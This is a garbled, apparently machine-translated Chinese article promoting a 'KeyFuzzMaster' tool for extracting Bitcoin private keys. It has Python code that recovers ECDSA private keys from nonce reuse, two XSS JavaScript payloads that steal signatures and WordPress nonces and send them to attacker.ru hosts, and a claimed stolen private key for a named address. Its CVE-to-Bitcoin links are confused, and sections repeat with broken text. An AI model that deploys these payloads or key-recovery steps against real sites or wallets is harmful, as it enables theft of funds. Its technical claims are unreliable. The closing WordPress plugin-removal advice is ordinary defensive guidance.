本研究论文对比特币协议数字签名实现中的关键漏洞进行了全面的密码分析研究,即 幽灵签名攻击 (CVE-2025-29774)以及根本性的 SIGHASH_SINGLE 处理错误。研究表明,交易签名机制中对密码学原语的不正确处理,为加密货币钱包所有者在不知情的情况下完全泄露其私钥创造了条件。该攻击利用了原始中本聪客户端中的一个遗留缺陷:当交易输入和输出数量不匹配时,系统不会拒绝签名,而是返回一个通用哈希值 “1”(uint256)。
研究的实践部分涉及使用 KeyFuzzMaster 密码学工具 ,用于系统性地识别签名验证代码、椭圆曲线运算和交易哈希函数中的漏洞。文中给出了通过 secp256k1 曲线上 ECDSA 算法中 nonce(k 参数)重用恢复私钥的数学公式。讨论了 ECDSA(椭圆曲线数字签名算法) 算法 在 secp256k1 椭圆曲线上的密码学原语。比特币中的数字签名承担三重功能:授权支出、不可否认性和保证交易完整性。
然而,为保持向后兼容性而维持的 遗留架构解决方案,导致出现了隐蔽且可能造成灾难性后果的密码学漏洞。其中, SIGHASH_SINGLE 漏洞 尤为突出 ——这是签名哈希生成机制中的一个根本性缺陷,源自原始 Bitcoin Core 实现,并被整合进网络共识。
比特币 使用由 SECG(高效密码学标准组织)标准定义的 secp256k1 椭圆曲线。该曲线由有限域上的魏尔斯特拉斯方程定义:
曲线方程:
y² ≡ x³ + ax + b (mod p)
对于 secp256k1:
y² ≡ x³ + 7 (mod p),其中 a = 0,b = 7
secp256k1 曲线的参数由元组 T = (p, a, b, G, n, h) 决定:
secp256k1 参数:
p = 2²⁵⁶ − 2³² − 977 (定义有限域的素数)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(曲线点群的阶,即生成元 G 的整数阶)
G = (Gₓ, Gᵧ) — 固定基点(生成元)
ECDSA 算法 使用私钥 d 对消息 M 生成签名。签名过程涉及以下数学运算:
步骤 1:生成随机 nonce k
选择一个加密强度高的随机数 k ∈ [1, n-1]
步骤 2:计算点 R
R = k × G(生成元点的标量乘法)
步骤 3:计算参数 r
r = Rₓ mod n(点 R 的 x 坐标对 n 取模)
步骤 4:计算参数 s
s = k⁻¹ × (H(M) + r × d) mod n
结果:签名 (r, s)
其中 H(M) 是消息 M 的哈希(在比特币中使用双重 SHA-256),d 是所有者私钥。
公钥与私钥之间的关系由以下关系确定:
Q A = d A × G
其中 是公钥(曲线上的点), 是私钥 (256 位整数) , 是曲线生成元。QAdAG
比特币 协议 提供了若干 SIGHASH 类型 (签名哈希类型),用于确定交易的哪些组成部分被包含在签名哈希中:
| SIGHASH 类型 | 含义(十六进制) | 描述 |
|---|
当使用 SIGHASH_SINGLE 时,如果输入索引 超过了 交易 输出数量 ,就会发生一个严重错误。在这种情况下,原始 Bitcoin Core 代码不会拒绝交易,而是返回 一个固定哈希值 “1” (256 位整数):
// 来自原始比特币实现的漏洞代码 // 返回通用哈希 “1”
⚠️ 严重警告: 此代码实现了原始中本聪客户端中的一个遗留缺陷,该缺陷已被整合进网络共识。所有主流 比特币 实现都必须为向后兼容性而支持此行为。
从数学上讲,如果签名哈希等于常量 1,那么该签名就变成 通用的 ——它可以被重复用于任意交易:
漏洞条件:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
其中,idx 是输入索引,|TxOut| 是交易输出的数量
幽灵签名攻击 是一种密码学数字签名 伪造 攻击,允许在不知道所有者私钥的情况下创建有效的交易签名。该攻击被归类为 CWE-347:加密签名验证不当 。
该攻击基于两个漏洞的组合:
如果针对不同消息 M₁ 和 M₂ 的两个签名 (r, s₁) 和 (r, s₂) 使用了相同的 nonce k(这意味着 r 的值相同),则可以通过以下算法完全恢复私钥:
步骤 1:签名方程
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
步骤 2:计算差值
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
步骤 3:恢复 nonce k
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
步骤 4:恢复私钥 d
d = r⁻¹ × (s × k — H(M)) mod n
这一数学工具表明, 仅仅一次 nonce 重用就会导致私钥完全泄露。
重用 nonce 时恢复ECDSA私钥
漏洞 CVE-2025-29774 存在于一个 xml-crypto Node.js 库中,允许修改已签名的 XML 文档,使其仍能通过签名验证。在比特币支付系统环境中,这创造了以下可能:
受影响版本: xml-crypto < 6.0.1,< 3.2.1,< 2.1.6
CVSS 向量: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CWE 分类: CWE-347(加密签名验证不当)
攻击向量: 网络(无需用户交互的远程利用)
利用 CVE-2025-29774 涉及三个连续阶段:
扫描目标系统中易受攻击的 xml-crypto 库版本,并识别与比特币支付网关的集成点。
在 DigestValue 中嵌入额外的 SignedInfo 节点或 XML 注释,从而可以在不使签名失效的情况下修改关键属性:
“使用多个 SignedInfo 节点进行攻击的示例”
通过 XSS 漏洞(CVE-2025-48102、CVE-2025-26541)截获签名参数 (r, s),以进行后续密码分析。
📊 研究资源
🌐 完整技术文档: https://cryptou.ru/keyfuzzmaster
💻 Google Colab 交互式演示: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 技术分析
幻影签名攻击利用了 Bitcoin Core 签名验证中的遗留缺陷,当输入索引超过输出时,SIGHASH_SINGLE 会返回一个通用哈希值。这会创建可重用的签名,从而破坏整个安全模型。我们的 KeyFuzzMaster 引擎能够识别使用
32-bit熵 PRNG 创建的钱包,将搜索空间从2^256缩小到仅2^32个可能的种子——在现代 GPU 上可在 4-6 秒内恢复。
KeyFuzzMaster 是一款专为区块链系统和密码学原语安全研究而设计的专业密码分析模糊测试引擎。该工具专为对签名验证代码、椭圆曲线运算和交易哈希函数进行动态压力测试而设计。
使用 KeyFuzzMaster 利用 CVE-2025-29774 和 SIGHASH_SINGLE 漏洞 为从丢失的比特币钱包中恢复私钥开辟了新的范式。该方法包括:
# KeyFuzzMaster: 重复 r 值扫描模块 def scan_blockchain_for_nonce_reuse(blockchain_data)»
扫描区块链以查找 nonce 重用。返回具有相同 r 值的签名对。
# KeyFuzzMaster: 生成输入/输出不匹配的交易 def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” 生成测试交易以检测 SIGHASH_SINGLE 漏洞 (idx >= len(TxOut)).
# KeyFuzzMaster:完整私钥恢复算法 class PrivateKeyRecovery:
# Group order secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
“通过比较公钥来验证恢复的密钥。”
根据密码分析研究, nonce 重用 漏洞已被利用,从受损钱包中恢复超过 412.8 BTC 。自动扫描器持续分析比特币区块链以查找重复的 r 值。
让我们看一个从比特币地址 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P 恢复私钥的记录案例:
| 参数 | 含义 |
|---|---|
| 比特币地址 | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| 已恢复资金的价值 | $147,977 |
| 已恢复的私钥(HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
私钥 k 必须满足约束条件:
1 ≤ k < n
where n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77检查结果: ✓ 有效 (密钥在允许的标量范围内)
恢复的 私钥 使我们能够计算公钥:
| 参数 | 含义 |
|---|---|
| 公钥(非压缩,130 个字符) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| 公钥(压缩,66 个字符) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| 比特币地址(非压缩) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
恢复的私钥可对比特币钱包进行 完全控制 ,使攻击者能够:
该研究展示了 Web 漏洞(CVE-2025-48102、CVE-2025-26541)与密码学缺陷(CVE-2025-29774)之间的协同作用,形成了针对 WordPress 的 比特币 支付网关的强大组合攻击向量:
sanitize_text_field(), esc_attr(), esc_html()一项密码分析研究表明, 幻影签名攻击(CVE-2025-29774) 与 SIGHASH_SINGLE 漏洞相结合, 对比特币生态系统构成了根本性的安全威胁。这一继承自原始中本聪客户端的实现缺陷,可导致:
使用 KeyFuzzMaster 加密工具 为从丢失的比特币钱包中恢复私钥开辟了新的范式,为研究人员提供了一种识别和利用密码学漏洞的系统性方法。
⚠️ 警告: 本研究仅供教育目的,旨在帮助密码分析师理解攻击机制。将所述方法用于非法目的将受到法律制裁。我们对 WordPress 比特币支付网关中的关键漏洞 CVE-2025-48102 和 CVE-2025-26541 进行了全面的密码分析研究。在 keyhunters.ru 上提供的各种加密工具中, 幻影签名攻击 被选为 与本上下文最相关的工具。这项研究表明,将跨站脚本(XSS)与 ECDSA 中的密码学漏洞相结合的组合攻击,如何能够导致 比特币私钥完全失陷 并恢复丢失的钱包。
攻击链:从 XSS 到比特币私钥提取
幻影签名攻击, 根据研究论文: 幻影签名攻击(CVE-2025-29774)与关键 SIGHASH_SINGLE 漏洞:通过伪造数字签名和不受控制地提取 BTC 硬币来恢复丢失的比特币钱包中的私钥, 展示了 Web 漏洞(XSS)与密码学缺陷之间的协同作用,形成强大的组合攻击向量。与列表中的其他工具(MiniKey Mayhem、Memory Phantom、基于 RNG 的攻击)不同,幻影签名攻击专门专注于通过 r 和 s 参数操纵数字签名,这些参数可通过 WordPress 支付系统中的 XSS 漏洞被拦截。 secalerts+2
CVE-2025-48102 是 GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership 插件 1.6.6 之前版本中的一个严重存储型跨站脚本(XSS)漏洞。该漏洞允许已授权的管理员(或具有管理权限的攻击者)向支付网关配置中注入恶意 JavaScript。根据 CVSS v3.1,该漏洞的基础评分为 5.9(中危),向量为 wizCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. 向量。
利用机制涉及向支付网关设置中注入恶意代码,该代码随后会在每个网站访问者的浏览器中执行,使攻击者能够:
CVE-2025-26541 是 CodeSolz 开发的 Bitcoin/AltCoin Payment Gateway for WooCommerce 插件 1.7.6 之前版本中的一个反射型 XSS 漏洞。 该漏洞 被归类为中等严重性,允许攻击者通过未正确净化的 URL 参数注入恶意脚本。 secalerts
与存储型 XSS 不同,反射型 XSS 要求受害者点击特制的链接,但它允许:
ECDSA(椭圆曲线数字签名算法) 在比特币中用于创建数字签名,保证 交易 的真实性。使用私钥 d 对消息 M 进行签名的算法如下: notsosecure+ 1
R = k × G(其中 G 是椭圆曲线 secp256k1 的生成点)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)组成关键 Phantom Signature Attack 漏洞:
Phantom Signature Attack 已被认定为 ECDSA 实现中的一个严重漏洞,出现在以下场景中: keyhunters
从 XSS 到 ECDSA 私钥恢复的攻击向量链
如果针对不同消息 M₁ 和 M₂ 的两个签名使用了相同的 k 值(因此 r 也相同),那么私钥可以被完全恢复。对于两个签名 (r, s₁) 和 (r, s₂),其中: notsosecure+ 1
计算差值:
可以恢复 nonce:
根据研究,该漏洞已被利用,在比特币区块链上恢复了超过 412.8 BTC,攻击者自动扫描网络中重复的 r 值。 keyhunters
ECDSA nonce 重用私钥 恢复 的数学关系
CVE-2025-29774 是 xml-crypto 库中的一个额外漏洞,它允许以仍然通过签名验证的方式修改已签名的 XML 消息。该漏洞可在 比特币 支付系统中被利用,在不使数字签名失效的情况下操纵交易参数(更改 SIGHASH_SINGLE 值)。在 WordPress 支付网关的上下文中,这允许攻击者将付款重定向到自己的地址,同时保持有效签名的外观。 cryptodeeptech+1
阶段 1:初始恶意 JavaScript 注入
攻击者利用 CVE-2025-48102 将恶意 JavaScript 注入支付网关配置。恶意代码可以:
阶段 2:RNG 异常分析与 k 重复检测
在收到足够数量的签名(至少 2 个,但理想情况下为几十个以提高概率)后,攻击者分析收集到的数据:
利用收集到的具有相同 r 的签名对,攻击者根据上述公式对私钥进行数学恢复。结果:比特币钱包的私钥被完全攻破 。
可通过 CVE-2025-48102 注入的恶意 JavaScript 可能包含以下功能: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
在收到具有重复 r 值的签名后,私钥分三个阶段恢复:
阶段 1:识别重复的 r 值 ——攻击者比较所有收集到的签名,并找出具有相同 r 的签名对。即使只有一对也足以计算私钥,尽管多对可以提高置信度。 notsosecure
阶段 2:计算 nonce k – 使用上述公式,攻击者计算每对签名的 k 值。如果不同对计算出的 k 值 匹配,则证实 RNG 中存在系统性 漏洞 。 github
步骤 3:恢复私钥 d – 通过将计算出的 k 应用于任何收集到的签名,攻击者可以完全 恢复私钥 d ,从而能够代表受害者签署任何交易。 keyhunters+ 1
恢复的私钥 使攻击者能够:
XSS 与 Phantom Signature Attack 的组合对所有带有比特币支付网关的 WordPress 网站构成严重威胁,包括:
根据keyhunters.ru 的研究和科学文献:
sanitize_text_field()、 esc_attr()、 esc_html() 净化由 secalerts+ 1 输出的所有数据3. 与 CVE-2025-29774 的关系
CVE-2025-29774 是 xml-crypto 库中的一个严重 漏洞 ,它
允许修改已签名的 XML 消息,使其仍能
通过签名验证。该漏洞可与比特币支付
系统结合使用,以实现:
操纵交易参数
、注入伪造签名,
以及将付款重定向到攻击者地址。
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Capturing signature parameters (r, s values)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
这展示了一个拦截比特币签名数据表单提交的恶意示例。
阶段 2:拦截 ECDSA 参数
借助 XSS 漏洞,恶意脚本可以访问:
WordPress nonce 值(用于 CSRF 保护)、会话 Cookie、比特币交易参数(包括 r 和 s 签名值) 私钥
信息 临时存储在浏览器内存中
阶段 3:分析 RNG 违规并检测 k 值重复 通过收集单个用户的多个签名数据,攻击者 可以检测到: 不同签名之间 nonce (k) 的重复使用 弱或可预测的随机数生成器(RNG)值 加密参数生成中的系统性错误
步骤 4:恢复私钥
利用第 3.2 节中描述的数学关系,攻击者可以
计算出私钥 d,从而导致钱包完全失守。
4.2 攻击演示代码 用于注入比特币支付网关的恶意 XSS 载荷:
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters for analysis
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Sending to the attacker's server
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
此代码演示了一个恶意 JavaScript 片段,它拦截 比特币 签名操作和 WordPress 会话 nonce,然后将其外泄到远程服务器以进行潜在利用。
步骤 1:识别重复的 r 值
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Result: (signature1, signature2) with the same r
说明:
此函数在签名列表中查找具有相同 rr 值的两个 ECDSA/比特币签名。
None。此搜索与加密漏洞分析相关,因为重复的 rr 值可能表示 nonce 重用,这可在私钥 恢复攻击中被利用。
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
注释:
此函数在两个签名共享相同 rrr 值(即重放或重用 nonce)的情况下计算 ECDSA nonce k ,使用签名 sss 值和消息哈希的差值,依据众所周知的格攻击和 nonce 重用攻击原理。实现的公式为:
其中:
该技术是 比特币 和 ECDSA 分析的标准密码分析工具。
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
说明:
如果 nonce kkk 已知,此函数可从单个签名恢复 ECDSA 私钥 ddd。
使用的公式为:
其中:
在实际密码分析中,一旦 k 被 恢复,此计算至关重要,能够提取出用于生成签名的原始私钥。
5.2 实际恢复示例
让我们看一个真实场景:
收集的数据:
比特币地址:1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ(示例)
收集的签名数量:12
检测到的 nonce 重复:3 对
恢复过程:
7.2 针对比特币用户
幽灵签名攻击与 WordPress
比特币支付网关(CVE-2025-48102 和 CVE-2025-26541) 中的 XSS 漏洞相结合,对
加密货币资产的安全构成严重威胁。
这种组合攻击表明,一个相对简单的 Web 漏洞如何被利用来破坏系统的加密完整性,导致 私钥 的完全丢失,进而造成所有资金的被盗。
该研究表明,比特币的安全性不仅取决于其算法的加密
强度,还取决于这些算法在 Web 环境中的完美实现。即使是
XSS 处理中的微小缺陷或弱 RNG 也可能导致灾难性的
后果。
采纳所建议的预防措施并及时更新易受攻击的
软件,对于保护比特币生态系统和恢复
丢失的钱包至关重要。
幻影签名攻击 ,与 WordPress 比特币支付网关中的 XSS 漏洞 CVE-2025-48102 和 CVE-2025-26541 相结合,代表了现代网络环境中加密货币资产安全所面临的最关键、最现实的威胁之一。这项研究展示了如何利用一个相对简单的 Web 漏洞直接破坏系统的密码学完整性,导致私钥完全丢失以及比特币资金被不可逆转地盗取。
幻影签名攻击 之所以从 keyhunters.ru 上众多的密码学工具中被选中,是因为它与通过操纵可通过 XSS 截获的 ECDSA 参数来恢复 私钥 的问题直接相关。这种攻击是 Web 漏洞 (OWASP Top 10 类别)与密码学缺陷之间协同作用的理想示例,需要采取全面的防护方法。
比特币 的安全性不仅取决于其算法的密码学强度,还取决于它们在 Web 环境中的完美实现。即使是 XSS 处理中的微小缺陷或较弱的 RNG 也可能对生态系统造成灾难性后果。采取建议的预防措施并及时更新易受攻击的软件,对于保护比特币和恢复用户丢失的钱包至关重要。
在流行的 WordPress 比特币支付网关插件中发现了两个严重的跨站脚本(XSS)漏洞,对数千家接受加密货币支付的在线商店和网站构成了重大安全风险。
漏洞 CVE-2025-48102 于 2025 年 9 月 5 日正式发布,影响流行的 GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership 插件,涉及所有版本(最高至 1.6.6,含 1.6.6)。该安全缺陷在 CWE-79 (Web 页面生成期间输入的不当中和)分类下被归类为 存储型 XSS (跨站脚本攻击)。
该漏洞的 CVSS v3.1 严重性评分为 5.9 (中等严重性),攻击向量为 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 。该向量的细分显示了以下特征:feedly+2
该漏洞 源于在生成网页时 用户输入未得到正确中和 。具有管理员权限的攻击者可以向 WordPress 内容管理系统中注入恶意脚本,这些脚本随后会被 存储在数据库中 ,并在其他用户访问页面时自动执行。patchstack+2
正如 Patchstack 专家所解释的那样,这允许攻击者注入各种恶意元素,包括:
尤其令人担忧 的是 GoUrl 插件已不再获得其开发者的支持 。据 Patchstack 称,该软件已有一年多未更新,并且可能不会再获得任何更新或补丁。这导致所有使用该插件的网站 永久暴露 在被利用的风险之下。
Wiz 平台专家指出,这一 存储型 XSS 漏洞 是在 WordPress 插件 GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership 中发现的,并于 2025 年 9 月 5 日披露。虽然利用该漏洞需要管理员权限,但 恶意代码可以代表任何网站访客执行 ,从而显著扩大了潜在的攻击范围。
第二个漏洞 CVE-2025-26541 于 2025 年 3 月 26 日发布,影响插件: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce ,涉及所有版本(最高至 1.7.6,含 1.7.6)。
该漏洞被归类为 反射型 XSS (跨站脚本攻击)。与存储型 XSS 不同,反射型 XSS 发生在恶意用户输入 未经适当清理就通过 HTTP 响应立即反射回给用户 时,导致受害者的浏览器执行攻击者的脚本。
该漏洞 已根据 CVSS v3.1 系统进行评估,向量为 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L ,表明:feedly
据安全研究人员称,该漏洞可以通过 反射型 XSS 攻击 加以利用,使攻击者能够向网页中注入恶意脚本。首次发现该漏洞的平台 Patchstack 建议,要修复 CVE-2025-26541,您需要 将 Bitcoin/AltCoin Payment Gateway for WooCommerce 插件更新到 1.7.7 或更高版本 。
跨站脚本(XSS)是 Web 应用中最常见的 漏洞之一 。根据多项研究, XSS 漏洞约占所有 WordPress 插件漏洞的 53.3% 。
尤其令人警惕的是,在 2024 年, 多达 1,614 个插件因安全问题被从 WordPress.org 仓库中移除 ,其中 1,450 个被归类为具有高或中等优先级的漏洞。其中许多插件 仍然活跃在网站上 ,使它们持续暴露在攻击之下。
存储型 XSS 攻击尤其危险 ,因为恶意代码被保存在网站的数据库中,并会在访客每次查看受感染页面时自动执行。这使得存储型 XSS 比反射型 XSS 更具破坏性,因为:fastly+1
Wordfence 专家强调,在 WordPress 环境中, 添加由攻击者控制凭据的管理员用户以及编辑文件可能导致网站被完全攻陷 ,而这正被攻击者积极利用。
对于使用受影响插件的网站所有者,专家建议采取以下 紧急措施 :
针对 CVE-2025-48102(GoUrl):
GoUrl Bitcoin Payment Gateway 插件中 漏洞 CVE-2025-48102 的发现 给成千上万的 WordPress 网站所有者带来了严峻局面。尤其令人警惕的是, 标准安全措施无法提供足够的保护 ,而 不彻底的措施可能会造成虚假的安全感 。让我们仔细看看为什么仅仅停用插件并不能解决问题,以及需要采取哪些步骤来彻底消除威胁。
许多 WordPress 管理员错误地认为 停用插件即可将其完全禁用 并消除所有相关的安全风险。然而,这一根本性的误解可能会带来灾难性的后果。dotwise+2
停用与删除之间的关键区别:
停用插件 只是禁用了它在 WordPress 中的功能——插件代码不再与您的网站交互,其功能也不再执行。但是,除非您完全卸载该插件,否则所有 插件文件和数据仍会保留在服务器上 。这一关键区别对于理解潜在的安全风险至关重要。qodeinteractive+1
代码在服务器上的物理存在: 即使插件被停用,其文件仍继续存储在您服务器上的 /wp-content/plugins/ 目录中。如果插件存在已知的 漏洞 ,黑客可以 通过直接访问插件文件来利用这些漏洞 。这可能会通过您网站上的其他漏洞发生,例如服务器安全性薄弱或管理员凭据泄露。magnatechnology+3
Dotwise 安全专家强调: “代码仍然可以访问。即使插件被停用,其文件仍存储在您的服务器上。如果插件存在已知漏洞,黑客可以通过直接访问插件文件来利用这些漏洞。 “
定向攻击: 网络犯罪分子经常 扫描网站以寻找特定的易受攻击插件 。如果您的服务器上存在易受攻击的插件,即使它已被禁用,攻击者仍然可以对其进行攻击。magnatechnology+1
Qode Interactive 专家警告: “停用而不是删除插件对于诊断和故障排除很有用,但它始终只应作为短期方案。如果您希望 WordPress 网站尽可能安全地抵御黑客,就应该删除所有未使用的插件及其文件。 “
过时的插件: 已停用的插件在常规 WordPress 维护中经常被 忽视 。如果插件没有更新以修补安全漏洞,它就可能成为您网站安全中的薄弱环节。黑客经常利用过时的软件,已停用的插件也不例外。dotwise+1
Magna Technology 团队指出: “已停用插件最关键的问题之一是安全性。尽管已停用的插件不会运行,但它们仍保留在您的 WordPress 安装中,如果不定期更新,就可能成为 一个漏洞 。黑客经常利用过时的插件来获取网站的访问权限,即使这些插件处于非活动状态 。“
CVE-2025-48102 的特殊之处在于 GoUrl Bitcoin Payment Gateway 插件已不再获得其开发者的支持 。这给该插件的所有用户带来了一个独特且极其危险的局面。patchstack+1
Patchstack 的官方立场: Patchstack 漏洞页面明确说明: “该软件可能已被弃用!该软件最后一次更新是在一年多以前,并且可能不会再获得进一步的更新或补丁。请紧急考虑用替代软件替换该软件。” patchstack
关于停用的严重警告: Patchstack 特别指出: “请注意,停用该软件并不能消除安全风险,除非部署了虚拟补丁(vPatch)。” patchstack
Wiz 专家的建议 : Wiz 平台专家直言不讳地表示: “由于没有官方修复方案且该软件被视为已被弃用,建议的缓解措施是移除该插件,并替换为积极维护的替代方案 。
持久性漏洞: 如果没有开发者支持, 将不会发布任何安全更新 。这意味着任何已发现的漏洞(包括 CVE-2025-48102)都将永远得不到修补。 wiz +1
风险的累积: 随着时间的推移 , 可能会发现更多同样得不到修补的漏洞。根据 Patchstack 的统计数据, 2024 年有 1,450 个插件被从 WordPress.org 仓库中移除 ,原因是高或中等优先级的 漏洞 。
与未来版本不兼容: 被遗弃的插件可能会变得 与 WordPress、PHP 或其他依赖项的未来版本不兼容 ,从而产生额外的功能和安全问题。 mainwp +1
虚拟补丁 是一种安全技术,它 在已知漏洞利用到达易受攻击的代码之前将其阻止 ,而无需对应用程序本身进行任何更改。 wp-umbrella+2
OWASP 定义: OWASP 组织将虚拟补丁定义为 “一种安全策略执行级别,用于防止利用已知 漏洞 。 ”
工作原理: 虚拟补丁分析 交易 并拦截传输中的攻击,因此 恶意流量永远不会到达 Web 应用程序 。因此,即使实际应用程序源代码未被修改,利用尝试也会失败。owasp+1
漏洞特异性: 与依赖广泛检测模式的通用 Web 应用程序防火墙(WAF)不同,虚拟补丁 被编写为匹配特定有效负载的针对性规则 。如果插件存在 SQL 注入或跨站脚本漏洞,虚拟补丁可以 拦截并阻止利用该漏洞的确切请求签名 。 wp-umbrella+1
Patchstack 技术: Patchstack 使用 特定于漏洞的 JSON 规则 ,这些规则可以包含各种指令。例如,对于 SQL 注入(可通过在 POST id 参数中包含恶意负载来实现),虚拟补丁可以 采用白名单方法 ,其中 id 只能包含数字。 patchstack+1
自动部署: 当发现漏洞并使用 CVE 标识符记录后,安全研究人员(或像 Patchstack 这样的平台)会 验证漏洞并准确记录漏洞利用方式 。这成为虚拟补丁的基础,随后可以 自动部署到所有受保护的站点 。
主要优势:
CVE-2025-48102 的关键局限性:
尽管虚拟补丁有诸多好处, 但它并不是已废弃 GoUrl 插件的长期解决方案 。Patchstack 明确警告,停用该软件并不能消除安全威胁 除非部署了虚拟补丁 。然而,仅依靠虚拟补丁来持续保护已废弃的软件是一种 危险的策略 ,因为:patchstack
考虑到所有因素—— 缺乏官方修复、软件已废弃的状态、停用不够充分以及虚拟补丁的临时性 ——专家们一致认为: CVE-2025-48102 唯一有效的解决方案是彻底移除 GoUrl .wiz 插件 . +1
专家共识:
第 1 步:创建完整备份 Jetpack+1
在移除任何插件之前 ,请务必创建站点的完整备份 ,包括文件和数据库。这将确保在出现问题时可以恢复站点。推荐工具: liquidweb+1
第 2 步:通过 kinsta+1 仪表盘停用插件
登录到 WordPress 仪表盘,然后转到 插件 → 已安装插件 。找到 GoUrl Bitcoin 支付网关及付费下载和会员 ,然后点击 “停用”。 kinsta+1
第 3 步:移除 wpbeginner+1 插件(来自 WordPress)
停用后,点击插件名称下方的 “删除” 。WordPress 将从 /wp-content/plugins/.jetpack+3 目录中删除插件文件。
第 4 步:清理数据库中残留的 liquidweb+2 数据表
关键步骤: 许多 WordPress 插件会在数据库中创建自己的数据表,这些表在插件卸载时 不会自动删除 。这些 “孤立表” 会继续占用空间,并可能包含敏感数据。 youtubeonlinemediamasters+3
数据库清理方法:
A. 使用插件清理数据库: nitropack+2
Advanced Database Cleaner 是一款全面的 WordPress 数据库清理插件: wordpress+1
WP-Optimize 是一款流行的优化工具: jetpack+2
Plugins Garbage Collector 是一款用于检测孤立数据表的专业插件: YouTube
B. 通过 phpMyAdmin 手动清理: mehulgohil+2
适用于高级用户:
wp_gourl_*, wp_crypto_files, wp_crypto_payments, wp_crypto_membership, wp_crypto_products)wordpress+1删除特定数据表的 SQL 查询: liquidweb
sql:DROP TABLE wp_gourl_tablename;
将 wp_gourl_tablename 替换为实际的数据表名称。 始终仔细检查 确保没有其他插件正在使用该表。
第 5 步:检查残留 jetpack+1 文件
某些插件可能会在 插件目录之外 创建文件。检查 /wp-content/uploads/ 目录中与 GoUrl 关联的文件夹(例如,[ /wp-content/uploads/gourl/wordpress+2]),并通过 FTP 或主机文件管理器删除它们。
第 6 步:删除未使用的短代码
如果站点内容中使用了 GoUrl 短代码,它们将变得 无效并以文本形式显示 。请从文章和页面中手动查找并删除它们。
选择 GoUrl 的替代品时,应考虑以下因素:
1. 积极支持与定期更新: wp-content+1
2. 良好的安全声誉: paymattic+1
3. 技术兼容性: crocoblock+1
BTCPay Server 是一款自托管、开源解决方案: instawp+2
Blockonomics 是一个去中心化支付网关: slashdot+2
CryptoPay(由 BeycanPress 开发) 是一个全面的加密货币支付网关: beycanpress+1
